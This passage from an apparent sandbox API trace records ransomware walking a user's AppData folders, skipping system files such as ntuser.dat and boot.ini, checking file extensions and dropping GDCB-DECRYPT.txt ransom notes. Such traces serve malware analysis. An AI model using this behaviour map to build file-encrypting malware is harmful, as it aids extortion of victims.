hTemplateFile=0x0) returned 0xffffffff [0170.146] GetLastError () returned 0x50 [0170.146] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.146] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned 159 [0170.146] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*" [0170.147] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0x5a4c58 [0170.147] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.147] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.147] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.147] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.147] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.147] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.147] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.147] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt" [0170.147] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.147] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 175 [0170.147] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 175 [0170.147] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 175 [0170.147] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 175 [0170.147] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.147] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.147] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.147] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.147] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.147] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.147] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.147] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.147] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.147] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.147] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.147] lstrcmpW (lpString1="wscRGB.icc", lpString2=".") returned 1 [0170.147] lstrcmpW (lpString1="wscRGB.icc", lpString2="..") returned 1 [0170.147] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wscRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc" [0170.147] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.148] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 169 [0170.148] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 169 [0170.148] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.148] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.148] lstrcmpW (lpString1="wsRGB.icc", lpString2=".") returned 1 [0170.148] lstrcmpW (lpString1="wsRGB.icc", lpString2="..") returned 1 [0170.148] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wsRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc" [0170.148] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.148] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 168 [0170.148] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 168 [0170.148] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.148] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0 [0170.148] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0170.148] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0170.148] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.148] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.148] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.148] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.148] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt" [0170.149] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.149] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 160 [0170.149] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 160 [0170.149] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 160 [0170.149] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 160 [0170.149] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.149] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.149] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.149] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.149] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.149] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.149] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.149] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.149] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.149] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.149] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0170.149] FindClose (in: hFindFile=0x5a4a18 | out: hFindFile=0x5a4a18) returned 1 [0170.149] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0170.149] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0170.149] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0170.149] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data" [0170.149] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\" [0170.149] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.149] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.149] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.149] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.149] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.149] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.150] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\") returned 155 [0170.150] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*" [0170.150] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5a4e98 [0170.150] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.150] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.150] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.150] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.150] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.150] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0170.150] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0170.150] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe" [0170.150] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned 160 [0170.150] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.150] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0170.150] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0170.150] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data" [0170.150] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data") returned 171 [0170.150] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.150] lstrcmpW (lpString1="CEF", lpString2=".") returned 1 [0170.150] lstrcmpW (lpString1="CEF", lpString2="..") returned 1 [0170.150] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="CEF" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF" [0170.150] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF") returned 158 [0170.150] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.150] lstrcmpW (lpString1="Comms", lpString2=".") returned 1 [0170.150] lstrcmpW (lpString1="Comms", lpString2="..") returned 1 [0170.150] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Comms" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms" [0170.150] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms") returned 160 [0170.150] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.150] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.150] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.150] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt" [0170.150] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 171 [0170.150] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.150] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.151] lstrcmpW (lpString1="Google", lpString2=".") returned 1 [0170.151] lstrcmpW (lpString1="Google", lpString2="..") returned 1 [0170.151] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Google" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google" [0170.151] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google") returned 161 [0170.151] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.151] lstrcmpW (lpString1="History", lpString2=".") returned 1 [0170.151] lstrcmpW (lpString1="History", lpString2="..") returned 1 [0170.151] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="History" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History" [0170.151] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History") returned 162 [0170.151] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.151] lstrcmpW (lpString1="IconCache.db", lpString2=".") returned 1 [0170.151] lstrcmpW (lpString1="IconCache.db", lpString2="..") returned 1 [0170.151] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="IconCache.db" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" [0170.151] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 167 [0170.151] lstrcmpW (lpString1=".db", lpString2=".sql") returned -1 [0170.151] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.151] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0170.151] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0170.151] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Microsoft" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft" [0170.151] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft") returned 164 [0170.151] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.151] lstrcmpW (lpString1="MicrosoftEdge", lpString2=".") returned 1 [0170.151] lstrcmpW (lpString1="MicrosoftEdge", lpString2="..") returned 1 [0170.151] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="MicrosoftEdge" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge" [0170.151] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge") returned 168 [0170.151] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.151] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0170.151] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0170.151] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Mozilla" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla" [0170.151] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla") returned 162 [0170.151] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.151] lstrcmpW (lpString1="Packages", lpString2=".") returned 1 [0170.151] lstrcmpW (lpString1="Packages", lpString2="..") returned 1 [0170.151] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Packages" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages" [0170.151] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages") returned 163 [0170.151] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.151] lstrcmpW (lpString1="PeerDistRepub", lpString2=".") returned 1 [0170.151] lstrcmpW (lpString1="PeerDistRepub", lpString2="..") returned 1 [0170.151] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="PeerDistRepub" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub" [0170.151] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub") returned 168 [0170.151] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.151] lstrcmpW (lpString1="Publishers", lpString2=".") returned 1 [0170.151] lstrcmpW (lpString1="Publishers", lpString2="..") returned 1 [0170.151] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Publishers" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers" [0170.151] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers") returned 165 [0170.151] 